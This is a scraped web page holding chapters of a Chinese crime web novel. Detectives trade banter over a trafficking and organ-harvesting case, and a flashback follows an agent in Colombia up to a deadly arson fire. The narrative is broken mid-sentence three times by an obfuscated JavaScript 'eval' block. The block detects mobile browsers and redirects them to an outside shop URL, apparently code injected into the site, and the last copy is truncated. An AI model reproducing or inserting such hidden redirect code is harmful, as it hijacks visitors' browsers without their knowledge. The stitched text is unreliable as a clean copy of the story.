齐枫一把勾住赵洋的脖子,笑嘻嘻道:“对吧对吧,所以当年我们让你选警官学院还不肯呢,大叫着死也不当警察。” 徐长嬴笑吟吟道:“我也没想到赵洋是我们几个当中最有警察样的,好多年不见,刚刚在监控室里你也太帅了,我都快忘了你染黄毛的样子了。” 赵洋面上一红,哼哼道:“都什么时候事了,我早就不记得了。” 徐长嬴扭头看向了夏青,只见他坐在边上,静静听着,完全不知道自己曾经也在那些青春岁月里。 徐长嬴心头一酸,又假装若无其事地转过去。 齐枫晃着赵洋,“你有今天最要感谢的就是我,要不是我陪着你烧了三年的香,你怎么坐在这里哦。” 徐长嬴听这话只觉得疑惑:“你们烧什么香,求财运吗?” 徐长嬴话音一落,赵洋脸色突然难看起来,他皱起眉头:“要是求财就好了,我去创业也不会这么苦。” 徐长嬴摸不着头脑,他转向齐枫,齐枫竖起一根手指:“哦对,还没有和阿嬴你说过,你知道警察学院包分配吧,但是分到哪儿说不准,所以赵洋是考公考到市局的,考了三年呢。” 徐长嬴震惊了:“考了三年!为什么!” “为什么?”赵洋猛地抬起头,抓狂道:“我毕业那年国内大学生就业问题哄得一下炸了,当年我复读时候你们轮番回来帮我补课,好不容易考个一本说警察学院也包分配,谁知道是分去农村派出所——” “——是城中村啦,”齐枫微笑地指正。 赵洋怒了:“那有什么区别!别打断我——好单位还需要考,奶奶的四千人考一个市局岗,先笔试后面试,还要来段英文演讲,齐枫这个逼人本来在高中就是我倒一她倒二,最后学俩月走的公大特招,一辈子就学了俩月的习,我识的字都比她多,她说她学习帮不上我,就带我去烧香。第一年说考试要拜孔子,带我去山东爬泰山——” “孔林在曲阜。”一直没说话的夏青突然开口道,声音清冷如冰雪一样无情。 赵洋瞪了他一眼,气急败坏道:“我们当然比不上你们高材生,爬完了人家才说孔子家不在泰山,然后我们俩文盲又坐车去孔林……” 徐长嬴听得一愣一愣,脸上还挂着听八卦的笑,“然后呢,灵不灵?” “大哥!三年,要是灵的话,我为什么要考三年!”赵洋抓狂道。 徐长嬴讪讪笑了笑:“哦哦,那孔老夫子的通讯系统不是很好,三年才接上头。” 这时齐枫支着脑袋,摇了摇手指:“不是不是,我们就拜了一次孔子啦!” 谈松一直酸溜溜地看着齐枫,他这时也好奇问道:“那你们后面拜了什么?” 赵洋深吸了一口气,“第二年齐枫说孔夫子是管文人考试的,考公安他专业不对口,所以要去拜专业对口的,我们又去福建拜了关圣帝君。” 徐长嬴双手一拍,恍然大悟,“好有道理!神仙也是术业有专攻,等等,”他又疑惑道,“为什么这次也不行。” 齐枫微微一笑道:“福建那边和神仙比较熟,所以还能交流业务,那边老头让洋子掷杯筊。一阴一阳就是关公同意了,洋子第一次投就是俩阴,当时我们俩掉头就走,但那人拽着我们俩说他们的关公比较好说话,可以多问几遍,于是又投了九下,都是一阴一阳,那大爷说这叫十拿九稳。” 徐长嬴搓了搓脸,小心翼翼:“还能最后那么巧就差一分吗?” 赵洋轻蔑一笑:“那倒没有,笔试成绩出来,三人进面我是第三名,就是公示期的最后一天一小子去查分说自己分合错了,他考了第一把第三的我挤下去了。” 办公室陷入了无尽的沉默,坐在一旁的宋瑜立揉了揉太阳穴:“你也是头铁,我小舅子就考了一次我们局就不考了。” 徐长嬴安慰地拍拍赵洋的肩膀:“幸好痛苦的日子已经过去,反正已经考上了,不过你们第三年拜的是什么?” 赵洋和齐枫突然一起沉默了。 “嗯?”徐长嬴疑惑地看了看他们俩,“怎么不说了。” 齐枫抓了抓头发:“第三,第三年,我们去拜了一个小众,不出名的庙……” 徐长嬴:“为什么突然去拜了不出名的?是什么,比前面两年还灵?” 齐枫突然勾着赵洋的脖子尬笑起来:“哈哈就是很不出名,别人推荐的,而且说事成之后不能张扬,对吧,洋子?” 赵洋低着头:“没错,他们说了有特别的讲究。” 徐长嬴看着他俩心虚的古怪模样,心里暗自思忱道,难道这两疯子去拜了什么邪教不好意思说吗? 徐长嬴正要再问,邵巧巧活泼的声音从门外传来了:“凉茶来咯!提神醒脑!” 众人抬头就见邵巧巧端着一个托盘跑了进来,余梅道:“巧巧你回来了呀,也不歇歇,还回市局干什么?” 邵巧巧笑眯眯的,她虽不是长得十分漂亮,但是非常亲切甜美,她给每个人都倒了一纸杯的茶水,“咱们案子进度这么紧,我还能自己偷懒嘛,来当茶水小妹也很好呀!” 宋瑜立接过茶水问道:“二队他们什么时候结束?” 邵巧巧一边倒茶一边道:“我刚刚听严队说了马上就好,然后开个短会,今天第一轮先结束了,瞧,我还提前把资料都拿来了。” 众人分别抽了一叠资料就看了起来,齐枫突然抽了抽鼻子:“什么味道这么香?” 邵巧巧刚把一个纸杯递到她的面前,开心道:“是夏教授让人递来的茶叶哦,水一烧开就好香,我刚刚给严队和二队的人都分过了。” 徐长嬴转过头望着夏青,笑着柔声道:“你什么时候说的,我还没注意呢。” 夏青望着他,道:“家里打电话的时候我提了一下。” 邵巧巧乐呵呵的:“没想到夏教授这么忙的人还这么细心,方队刚刚好感动的呢。” 宋瑜立家中习惯喝茶,一抿就舒展眉头,“太平猴魁?怎么和我之前喝的有点不一样?” 聪颖过人的余梅立即猜到夏青这种人拿出的茶酒这类东西必定非富即贵,她状似笑着打听着:“夏教授你可别拿什么贵的吓人的茶叶出来哦,我们这些人都不懂喝,要遭浪费的。” 夏青:“不是什么贵重东西。” 嗯,看来相当不便宜。 全会议室的人端着清茶不约而同腹诽道。 虽然喝不出来,但确实提神,徐长嬴喝了一口,捏了捏睛明穴,舒展了些眉间,他察觉到夏青的目光落在自己身上,抬起头,对上夏青那双澄澈的眼睛,“怎么了?” 夏青道:“你若累了为何不早些回去,你的两位专员同事都已经回去了。” 徐长嬴翻了一页资料,笑道:“他们其实是我叫回去的,我让他们去联系一下新西兰分局的同事,去实地搜寻王添笑的信息,这样就能越过她家里联系到她。” 夏青:“合法吗?” 徐长嬴耸耸肩:“当然,不合法。” 夏青点点头,就低头继续看资料了,留下办公室其他人面面相觑:知道不合法然后呢,就这么结束了? 邵巧巧弱弱举手:“徐警官,那AGB新西兰那边的人会愿意帮咱非、非合规地联系王添笑吗?” 徐长嬴洒脱地摆摆手:“当然愿意啦,不要担心,这世界上要是警察只能合法查案,怎么抓到住违法的罪犯呀,而且我信誉很好的,只有别人欠我人情,没有人我欠别人的。” 谈松支着下巴,感叹道:“国际刑警就是方便啊,和电影拍的一样,帅气。” 徐长嬴:“都是领薪水干活,一样的,去别人国家干活还容易被歧视——哦收到了。” 说着话徐长嬴的手机叮叮响了两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049262|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是班杰明那边传来的文件,徐长嬴滑动手机,迅速选出一封点了开来。 “还真的不对劲,”默不作声看了一会儿的徐长嬴突然开口道,“去年12月赵兰月往王添笑银行账户里打了五万块钱,今年1月一个陌生账户给她又打了三万美金。” 他抬起头对上夏青的眼睛:“赵兰月和王家没有断联,赵秀贞他们果然有问题。” 二十分钟后,重案组和刑侦二队的人几乎挤满了原来宽敞的会议室,严建柏神情复杂,他开口道:“目前三个受害者,今年2月左右被两个国际性犯罪组织谋杀并处理放在国内展览,其中唯一一个本国受害者赵兰月,八年前与疑似贩卖器官嫌疑犯“阿风”交往过,并在去年12月向表妹账户里打了五万块,其姑姑还隐瞒自己去艺术馆展览,以及与其有过金钱往来的事实,以上就是我们全部的已知线索。” 市公安局刑侦第二大队队长梅文宣推了推金丝眼镜,沉声接道:“目前有三个突破口:一是找到这个‘阿风’,二是继续审问赵秀贞,问出他们所知道关于赵兰月的一切信息,三是继续跟踪观察除赵秀贞以外的三个嫌疑人,目前来看破案的可能性是按照这个顺序递减的。” 两个队长雷厉风行地分配好人员安排后,严建柏最后严肃道:“大家记住256、327号展品还在罪犯手中,也就是说很可能还有两个受害者我们一无所知,我们进度越慢,罪犯转移和销毁受害者的可能性就越大,务必打起十二分精神。” “是!” 散会后,人员陆陆续续往外走,邵巧巧和二队唯一一个男beta警员一起麻溜收拾起会议桌上的水杯和文件,徐长嬴坐在椅子上手搭在桌子上陷入沉思,赵洋用文件拍了拍他的肩膀:“福尔摩斯,快五点了,不回去睡觉吗?要不还去我那儿凑合睡一觉?” 说话间,会议室里只剩下四五人,夏青站着回头看着坐在位置上的徐长嬴。 徐长嬴看上去根本没有听清赵洋说什么,他借着赵洋的胳膊的力气站起来,神色依旧有些凝重:“我觉得不太对劲。” 夏青接过话,开口道:“何处不对劲?” 徐长嬴摇摇头:“我还没理清楚,但是总觉得哪里不对,为什么赵兰月要给王添笑打钱?要是,赵秀贞他们真的什么都不知道呢?” 齐枫打着哈欠:“老大,赵秀贞怎么可能什么都不知道,那她们家巧合也太多了吧,她一个人跑去盯着5个展品盯那么久,她儿子和她亲哥还强bao过赵兰月,她女儿账户里还有赵兰月打的钱,往大的说他们一家可能是为赵兰月拉了什么可怕的皮条,往小的说他们至少知道赵兰月陷入了某种风波,但不管他们知道多少,肯定也是咱们破案的关键。” 徐长嬴下意识就看向夏青,两人视线一接,夏青看了他一会,轻轻摇了摇头。 徐长嬴搓了搓脸:“好吧,先去睡一觉,你们本地警员辛苦继续跑任务,我这个编外人员偷懒去了——巧巧,我帮你拿吧。” 邵巧巧抱着一摞到下巴的资料,连忙受宠若惊道:“不不不,徐警官您先回去休息吧,这是我们俩的事。” 边上一个beta男警员也二十多岁,看上去斯斯文文的,冲他温和笑了笑,徐长嬴哈哈笑着走过去:“我也是beta,打杂也有我一份。” 赵洋和齐枫现在最听不得徐长嬴说自己是beta,直接就冲上前和小学生争表现一样抢着收拾。 突然徐长嬴看见夏青走到办公桌边上,蹲下来,将地上散落的两张纸捡起来,接着向自己走过来,放到他手中的文件上。 徐长嬴几乎条件反射地想说谢谢你啊28岁的好孩子夏青,但他低头看见了放在最上面的照片,一瞬间只觉得心脏狠狠向下一坠:“这是什么时候发的?” 夏青见他神色有变,便也立刻仔细看了看那张照片,徐长嬴这时已经看出来这是谈松整理器官贩卖卷宗里的一张照片,正是那艘“公海赌场”的内部照片,奢华无比的宴会厅墙壁上挂着许多旌旗,上面图腾不同,大概代表着所谓不同的高贵家族组织,正中间一副纯黑色的三角旗上是金线绣的一个图案,那是一个抽象的几何图案,看上去像一只微微睁开的原型眼球。 邵巧巧歪着头看了看:“这好像是谈松哥不小心丢下来的,这上面还有编号,应该是原件里的,这要丢了就大麻烦了,我回头和他说一声。” 齐枫两只手掐了四个热水壶,她敏锐察觉到徐长嬴的语气,伸过头来:“老大,哪里不对劲吗?” 徐长嬴双眼紧紧盯着照片,脸上露出了办案以来第一次凝重的神情,“我见过这个图案。” 夏青:“什么时候?” 徐长嬴抬起眼望着他:“五年前。” 五年前,南美,哥伦比亚。 火警声席卷了整座城市,城市中的每一个人站在家中就能看见北面的山上一团火在夜中熊熊燃烧着。 凄厉的惨叫声不绝于耳,徐长嬴踹开木质的大门,还未踏进去,烧断的横梁就砸落在他面前,一股巨力就把他整个人朝后拖去,那是说着西语的本地消防员。 徐长嬴看见门洞里有那浑身烧着火焰的人站起,又跌倒。 “里面还有人!很多人!”徐长嬴用西班牙语大声对着拖拽着自己的消防员喊道。 “我知道,我知道”,全副武装的当地消防员紧紧抓着他的胳膊道,“上帝也知道。” 17. 烈火旧案(上) 2017年,9月的哥伦比亚日头正晒,24岁的年轻beta探员穿着一身笔挺的黑西装站在街道的绿荫里,拿着手中的文件夹疯狂扇风。 穿着吊带牛仔裤的李嘉丽与他相反,看上去就和路过的本地人和游客一样,两人风格迥异,唯一的相似处就是胸前都别着橄榄叶银胸针,她皱着眉头:“这么热你还穿这样,你好歹换件亚麻的。” “这不是要去见13区的管理层吗?”徐长嬴看了看表,“我问过了,男人去他们那边谈工作穿正装是硬规矩。” “什么管理层,黑bang而已,我不觉得他们会好心帮我们。”李嘉丽耸耸肩,“而且就你穿西装,我们这个二人组看上去更不靠谱了。” 徐长嬴哈哈笑起来:“不要那么泄气嘛,尊重每个国家国情啦,这个城市比十年前要好上一万倍呢,连政府报告上都写了当地的不同帮派用了很大功夫去治理自己的领地——我先去把车开过来,现在去他们办公室时间刚刚好。” 南美不少地区和城市看上去与北美欧洲大部分城市一样,道路宽敞,绿植丰富,治安稳定,但其背后支撑这一切运转的并不是国家政府,而是当地的帮派,他们的操作和政府类似,会收税,但也会花钱搞基建,组织人维持治安,当然他们所控制的区域多是贫民窟,经济不发达的区域。 李嘉丽所担心的就是这点,他们二人是为了一个拐卖少女案件来到这座城市的。事件最开始被发现是因为当年4月发布在互联网上的一个视频,视频里手臂上满是针孔的女孩被拷在铁架床上,双目空洞,13分钟的时长里出现了6人以上的男性。一开始这个视频被认为是某种仿记录片类型的黄色录像,但很快有网友发现这个视频拍摄的房间里还有其他这样被囚禁的女孩,至少在5人以上,但镜头一晃而过拍的十分模糊。这个视频很快就传到了AGB手中,经过技术检测,确认是真实的性犯罪录像带,原来视频流出的网址很快就销毁了,但经过卫星定位追踪IP地址在南美的一座城市里。 李嘉丽和徐长嬴正是为了此事而来,两人是第一批前来探究情况的行动小组,他们现在手头的线索只有那个模糊的视频,徐长嬴接手案件后,通过视频里房屋的特征和男性的口音,大致确定囚禁少女的房子在这个小城的北区,即原先贫民窟,现在经过□□治理已经是一个旅游景区了。 那栋房子应该是哥伦比亚上世纪60年代殖民地时期遗留下,并在此基础上进行改造的木质房屋,屋子朝北向阳,有可能靠海,是徐长嬴得出的判断。只是他们在调查之前,必须去“管理层”,也就是□□的高层那里报道知会一声,若是顺利还可能获得□□的帮助。 从白房子出来的时候,已经快要傍晚,李嘉丽手里满是汗水,但坐在右边主驾驶的beta青年已经扯开领带面带喜色地开着车向着山下开。 李嘉丽心里的紧张惶惑还未褪去,下意识摸了摸腿侧的枪套,她刚加入AGB不到一年,和这个beta搭档也不到两个月,她进入“白房子”的时候还没有真正意识到自己是进入到一个默认有自治权的黑bang内部,直到他们进入别墅后身后的门被关上,穿着高档西服的男人说笑着就猛地把他们按到墙壁上,不到一秒的时间里他们身上的配枪就被缴了,而这一切发生时一把冰冷的枪口正死死抵在她的腰间。 虽然在外界看来,13区这些帮派治理都很有秩序,甚至有自己的网站、纳税和警务系统,但李嘉丽二这时才体会到其本质还是以暴力为基底的帮派组织——整个别墅里全是来往巡逻的成员,彼此都认识,嘴里抽着雪茄,遇到时热情地打着招呼,仿佛手中拿的不是冲锋枪而是蓝色文件夹。 他们被带到一间书房,书房的装修甚至有些陈旧,一个皮肤黝黑、四十来岁的普通男人坐在办公桌后面,听到通报声后抬起头,一双鹰隼般的眼睛死死锁在他们两人身上。 押着他们进来的两人没有离开,只是关上门,依旧握着冲锋枪在他们身后,宛若两条伺机而动的毒蛇,而那普通男人的目光则停留在李嘉丽身上,几乎在一瞬间,李嘉丽被迫与其互相确认了alpha的身份,并且还被这个男人的信息素恶意地压制住了。 “AGB的女性探员很少见,”男人用西班牙语道。 李嘉丽只觉得浑身汗毛炸开,她正在犹豫要不要用信息素抵抗,这时她身边拍档笑道:“beta的探员不少见吗?先生。” 锐利让人恶心的目光很快移开落在徐长嬴身上,李嘉丽感觉那压制自己的信息素也散了些许。 “你说的没错,看来AGB现在大不如从前了。”中年男人将雪茄盒打开,咔嚓绞掉,点了起来,烟味与空气中某种香料味在小小的书房里弥漫开。 李嘉丽的beta拍档并没有被这句羞辱打压了气势,他只是耸耸肩:“这可不一定,我认为应该是因为我个人能力太优秀。” 书房里陷入冰冷的沉默,李嘉丽手心渗出汗的时候一支雪茄砸在徐长嬴的胸口,“聊聊你们的来意吧,AGB的探员。” 最终,帮派同意授权他们二人在13区执法——虽然只是那个黑皮肤男人随口一说,没有录音,没有文件。并且除此以外管理层并不会提供任何帮助,包括提供人手和资料,以及住宅搜查权。 李嘉丽摇下车窗,呼啸穿进车内的风带上了海洋的味道,下山的路笔直漫长,像是直通大海一般,夕阳落在海面之上,天空蔓延出好看的鸡尾酒的颜色。 “获得授权了,接下来我们去什么地方探查?”李嘉丽问道。 徐长嬴将西装外套和领带都扔向了车后座,一脸欢快道:“先去海边吧,我刚刚问了那个看门的巴罗卡,他说朝海向阳的老房子都在原来贫民窟那里,只不过大部分都拆了,现在不少有钱人也会住在那边。” 李嘉丽都不记得他什么时候和黑bang成员攀谈过,她抱着胳膊:“有钱人也住13区,疯了吗?” 徐长嬴叼着烟,单手扶方向盘,用另一只手转开打火机,笑道:“咱今天中午吃饭时那老板不是很骄傲的说了吗,他们这的治安比富人区还好,南区偷窃坐牢,这边偷窃被打包扔海里。” 很快两人就到山脚下的一个三层建筑停了车,这个建筑还有一个露天停车场,在不起眼的地方放着宾馆招牌。 徐长嬴单肩背着旅行背包,手里还拎着李嘉丽的行李,“贫民窟旅馆,咱们住这,阿丽你害怕吗?” 李嘉丽耸耸肩,她摸了摸自己的腿侧,挑了挑眉:“没住过,当探索新地图了。” 两人要了一个三楼的套房,说是贫民窟,但是旅店老板还非常严格地查看了两人的护照,期间还向二人热情推荐明天开始的文化节,以及自家的网红花园餐厅。 两人收拾好行李的时候天已经黑了,从窗户往外看能看到密集的绿植里是五颜六色的灯光,那是旅馆特色餐厅的灯光,徐长嬴让李嘉丽先下去看看餐厅点餐,他要把身上的衬衫西装裤换了。 “可惜你不是Omega,”李嘉丽已经换上了一件鲜艳的吊带裙,她靠在白色门框上惋惜道,“不然咱们出差就能顺便度个蜜月了。” 徐长嬴无奈地叉着腰:“要不你凑合凑合?” 李嘉丽噗嗤笑了一声,转过身摆摆手就下楼了。 徐长嬴关上门,摸了摸腰间的枪套,正思索起换哪一身休闲服可以方便行动,他突然听到一个沉闷的响声,像是什么撞在楼梯间。 他们住的这种套房在三楼只有两套,旅馆只有一个通向三楼的楼梯,而且很狭窄,二楼就有许多间普通客房,租金相当便宜——因为大部分普通游客还是不敢入住的。 徐长嬴起身拉开门,他们的门正对楼梯口,楼梯间没有开灯,他扶着枪套警惕地走下楼梯,啪地一声打开开关,“谁在那儿?”他用西语喊了一声。 没有任何人回答,徐长嬴便放下警惕,回到了自己的房间,他转过身咔哒一声刚落上锁,一把冰冷的匕首就死死抵在他的咽喉。 “举起手,别去摸枪。”一个十分年轻的男性声音。 徐长嬴缓缓举起双手,“你这可不太好,我的枪是有编号的。” “少废话,你是beta?”他身后的男人语气狠厉,他似乎在一开始就使用了信息素压制,但很快就发现徐长嬴并不受影响。 “你们对AGB探员的刻板印象太严重了吧,你是我在哥伦比亚遇到的第七个质疑我身份的人了。”徐长嬴无可奈何地说道。 “AGB来这干什么!”这个男人,或者说男孩竟然并不知道徐长嬴的身份,徐长嬴第一时间就意识到对方并不是蹲守的劫匪。 “这个嘛,说来话长……”男孩的手已经解开了徐长嬴的枪套,徐长嬴慢悠悠说着话,在他摸向枪柄的一刻紧紧抓住男孩握匕首的手腕一拧,同时另只手肘也以极大的力道砸在男孩的肋骨上,男孩吃痛地啊了一声,徐长嬴就将他两只胳膊都拧在身后,直接将他整个人都按在地上,整个过程花费不到一秒。 男孩黑白分明的眼睛带着恶毒的恨意向后看去,对上了徐长嬴的脸。 两个人都愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049263|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 徐长嬴望着这张明显有着亚洲特征的少年面孔,试探用西语问道:“日本人?新加坡?不会是中国人吧?” 最后一句话徐长嬴是用中文讲的,他察觉到少年的情绪有一瞬的波动,便知道自己猜中了,“咱们还算同胞呢,年纪小小的,下手这么歹毒。” 徐长嬴一边说话一边把少年手中的匕首给缴了,随手插在沙发上,他死死按着不停挣扎的少年,抬起头寻找捆绑的绳子。 “年纪这么小,都没有十五吧,长得漂漂亮亮的,怎么来的哥伦比亚?”徐长嬴问着,突然看见沙发上李嘉丽的丝绸头巾,他很快就将少年的手绑成死结,一把将其揪起,拖到浴室里。 少年长得非常好看,有很明显的混血感,头发和眼睛都是黑色的,就是表情看上去非常阴冷,像是要一口咬死徐长嬴一样。 徐长嬴无视他的仇视,蹲在他面前歪着头:“你不会是帮派成员吧,我今天问过他们,他们说现在帮派改革后不收未成年人了诶。” “放了我,我欠你一个人情。”半晌后,放弃挣扎的少年说了中文,他说得还很流利。 “哈哈哈,”徐长嬴笑起来,少年脸涨得通红,神情羞愤,徐长嬴连忙解释道,“我没笑你,我觉得你很帅啦,很有黑bang范,你看过《疤面煞星》吗?你很有阿尔帕西诺的感觉。” “闭嘴!” 徐长嬴举起双手,立马妥协道:“好的好的,我正好要去吃饭了,我的同事还等我呢,你喜欢吃什么,我之后可以给你打包一点。” “你真的是AGB探员吗?” “啊?”徐长嬴转过身,看见少年一脸的猜忌。 “正常人不应该报警吗?” 徐长嬴哦了一声,他摸了摸自己的下巴,认真想了想回道:“我听13区的人说在这里打劫偷窃是要被管理层派人偷偷暗杀的,这也太残忍啦,你年纪这么小,而且什么都没偷到就丢了命,我也会良心不安的……” 徐长嬴啰里啰嗦还没说完,门外就传来急促的脚步声,少年的脸色瞬间变得惨白,下一秒徐长嬴的房门就被粗鲁大力的拍响了。 徐长嬴深深看了一眼陷入绝望的少年,转身关上浴室的门,走进起居室,重新穿起西装外套,随手拿起放在桌上的胸针卡在领口,又拿出AGB执照,拍开枪套,一把拉开了房门。 三个南美裔白人男性站在门口,在房门打开的一瞬间都端起了手中的枪。 徐长嬴歪着头,面若冰霜,用西语冷冷道:“请问你们有何贵干?” 三个骇人大汉第一反应就是扫视了徐长嬴腰间的枪套,以及领口的胸针,领头的花臂白男道:“你是什么人,怎么住在这里?” 徐长嬴坦然地将AGB执照举到他眼前:“AGB国际反性别暴力组织,你们当局政府邀请我们来办案,我刚刚从白房子回来,是杰西先生让你们来检查我住宿环境的吗?” 三人在听到白房子和杰西的时候神情大变,嚣张的气焰也矮了一截,为首的和左边的同伴对视一眼,左边的男人语气粗鲁道:“AGB来我们13区干什么?你们要办什么案?” 提到要办的案件,徐长嬴的语气更加平和自然了,“是一桩少女人口贩卖案件,有线索指出你们这个地方有人用毒品控制并强迫未成年女性非法卖yin,你们有听说过吗?” 随着徐长嬴讲述,三人的脸色愈加难看,右边的男人和两人对视一眼,含混道:“没,没听说过。” 似乎是察觉到自己的气势弱了很多,为首的花臂男转过头想要再继续质问什么,却突然对上一双黝黑如深井般的眼睛,年轻的亚裔男人正弯着腰目不转睛地直直盯着他,像是看穿他的内心一般,幽幽道:“真的吗?你们是不是也知道案件的细节?” 花臂被吓得后退一步,警惕地看向他,徐长嬴这才直起身,歪着头笑道:“怎么了,不知道?那你们也还有什么要问我的吗?” 花臂三人攥紧了手中的手枪,三秒后,花臂将枪收起来转身离去,其他二人见状也回头瞪了一眼徐长嬴,跟随花臂匆匆下了楼梯。 徐长嬴站在楼梯口,冷冷地盯着空无一人的二楼,半晌,他听到一声轻微的啪嚓声。 徐长嬴立刻反应过来冲向浴室,只见浴室的小窗大开,地上只有一条被割断的丝巾。 徐长嬴趴在窗户向外看,屋外的角落里只有一株高大的皇后葵在静静摇曳,哪有什么人影。 “真是个机灵的小鬼。” 年轻的beta探员轻声笑道。 18. 烈火旧案(下) 吃完晚饭,徐长嬴和李嘉丽沿着主路向山上慢慢走着,虽然外人看来二人是普通情侣在聊天,但实际上二人的心思都在探查周围建筑上。 李嘉丽的裙摆在晚风中轻轻摇曳着,周围是不同颜色的围墙和建筑,她开口道:“你说,13区的管理者难道不知道囚禁少女们的事情吗?” 徐长嬴望着干净整洁的大道:“真发生在13区的富人区里,不可能不知道。” 迎接文化节的彩灯爬满了墙头,五颜六色的荧光蔓延进不同的漂亮房子里,海洋的气息在夜晚更加明显,充斥在空气中,一切都是那么静谧祥和,但就在这些漂亮房子当中,最残忍肮脏的交易正在进行,也许与徐长嬴的一墙之隔的房子里就是惨叫着被暴力侵犯的少女。 海水的腥味都有些令人作呕。 山腰处有三座连在一起的白色屋子,由极为漂亮的草坪和花园围着,徐长嬴和李嘉丽还没有走近就停下了脚步——宅子门口蹲着三三两两的青年男性,穿着休闲,但腰间都鼓鼓囊囊。 围墙外面停满了豪车,屋子里灯火通明,徐长嬴能听到若隐若现的音乐和人的说笑声,大概是不少重要人员在这豪宅举办宴会。 李嘉丽远远地望了望那漂亮的屋子,摇摇头:“走吧,徐,今晚就先到这儿了。” 漆黑的夜里,许久不做梦的徐长嬴不知为何梦见了了夏青,他站在公路上,周围是许多看不见的人,支离破碎的汽车起了火,有鲜血从看不见的车窗里涌出来,而夏青就站在血泊上静静看着他,丝毫没有意识到他身后的火焰即将吞噬他。 徐长嬴知道这是梦,但他还是焦急万分,他挤在熙熙攘攘看热闹的人群里,越往前越能感受到火焰的灼热,围观的人似乎也不知道害怕,也不知道劝说,他们只是挡在那里。 在火焰裹挟住夏青的那一刻,徐长嬴被李嘉丽叫醒了。 “怎么了,”徐长嬴坐了起来。 李嘉丽也穿着睡袍,她脸色凝重,一把拉开了窗帘,“突然起火了,是我们晚上看的那三座白房子。” 徐长嬴愣了一瞬,“起火了?” 他翻身下床,来到窗户前,只见不远处的火光冲天,他们正对的路上全是奔跑着要去救火的人,静谧的夜晚被那凶猛的火焰彻底摧毁,虽然离了有一段距离,但是徐长嬴已经闻到了烟味。 徐长嬴立刻穿上衣服,“火警还没来吗?” 李嘉丽扎起头发:“刚刚我才听见有人大叫着火了,应该是刚烧起来。” 徐长嬴动作一顿:“那个火是刚烧起来的?” 李嘉丽一脚踩上靴子,“定是人为的。” 徐长嬴和李嘉丽赶到现场的时候,才听到警笛声自远而近地响起,他们二人本来就是带任务而来,徐长嬴心里已经有了强烈的预感,他们挤过拥挤的人群,朝着火光中央跑去。 这三座漂亮的房子是由两个精致的遮阳廊连结起来的,一同构成三角结构,此时三座房子都在熊熊燃烧着,炽烈的热浪扑面而来,让人无法靠近。 今晚的时候徐长嬴就看出这是当地帮派势力下的屋子,此时卖力救火的都是帮派成员,他们没找到消防管道,只能用花园的浇花水管,还有人拉了水泵去抽游泳池的水,但与可怕的火势比起来只能是杯水车薪。 “就算是人为纵火,究竟是用什么方法让三个屋子同时起火的!”徐长嬴用衬衫裹上了头面,身边的救火人还以为他是来帮忙的,还分了一个水管给他。 李嘉丽用丝巾裹住了面孔,她大声道:“刚刚这些人大叫道里面还有不少人在里面,但是出入的门口烧的最大。” 徐长嬴将水管递给她,向火场跑去,“我去看看窗户!” 不对,为什么没有人跑出来。 徐长嬴绕着房子跑了一圈,很快就找到主屋的向阳窗户,他曲起胳膊狠狠砸破那扇花色玻璃,耳边全是木料被烧的噼里啪啦声响,不断有火星掉落在他身上,但徐长嬴顾不得这些,他连忙想要摸索打开窗户的把手。 但是他很快就被烫的缩回了手。 徐长嬴震惊地看着窗户内里被焊死的铁条——所有的窗户难道都被从里面封起来了吗? 徐长嬴狠狠砸了好几个玻璃,他砸了一路,发现所有的窗户都被封了起来,徐长嬴抓住一个还没有被火焰烧红的窗户铁网,朝着里面看着。 只见里面四处是火焰,窗帘,门框,墙壁无处不再着火,这个昂贵华美的木质房屋居然没有任何的消防设备,简直就像是天生为纵火犯设计的一样——徐长嬴继续努力朝里面看着,这个房间空间很大,像是起居室,浓烟让他无法看清角落里是否还有人。 为什么会封窗户? 很快浓烟就呛得徐长嬴泪流不止,他朝里面大喊着还有没有人,但没有人回答,火焰蔓延的速度非常快,徐长嬴的手已经不能抓住铁条了,那温度就如同烧烤用的铁网。 徐长嬴不忍心,他又一次将眼睛透过铁条缝隙向里面望去。 这时,一只浑浊的眼睛突然贴了上来。 徐长嬴被吓得下意识后退一步。 “求求你,救救我,好痛苦……”那人扒着铁条苦苦哀求道,是一个中年男人,透过缝隙,能够看到他的半边脸已经被灼伤地变形了。 徐长嬴连忙用西语道:“为什么窗户都被封起来?除了大门还能怎么进去!还有没有别的入口了!” “没有了,没有了,只有那里,”男人哭起来,“为了防止她们逃跑,只有那里……” 徐长嬴内心再次涌出了那个可怕的念头:“她们是谁?她们现在是不是也在里面!” “就是她们,火是她们那边烧起来的,上帝,救救我……” 徐长嬴松开铁条不去再听那逐渐微弱的呼救声,三三两两的帮派成员已经支撑不住见风就长的火势,徐长嬴跑回原来的大门口,李嘉丽看见了他,连忙跑过去:“怎么了,没有窗户吗!” “窗户全部被封死了,”徐长嬴浑身颤抖,脸色狰狞,他咬牙切齿道,“那些孩子在这里!” 李嘉丽愣住了,徐长嬴转头边跑边解开身上的外套,他将外套浸入泳池当中,又披在身上,朝着火势最大的主屋门口走去。 主屋的门口是传统的廊檐和门柱共同组成的,上面还雕满了美丽的浮雕,如同伊甸园的大门,但此刻已经成为了一团熊熊的火焰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 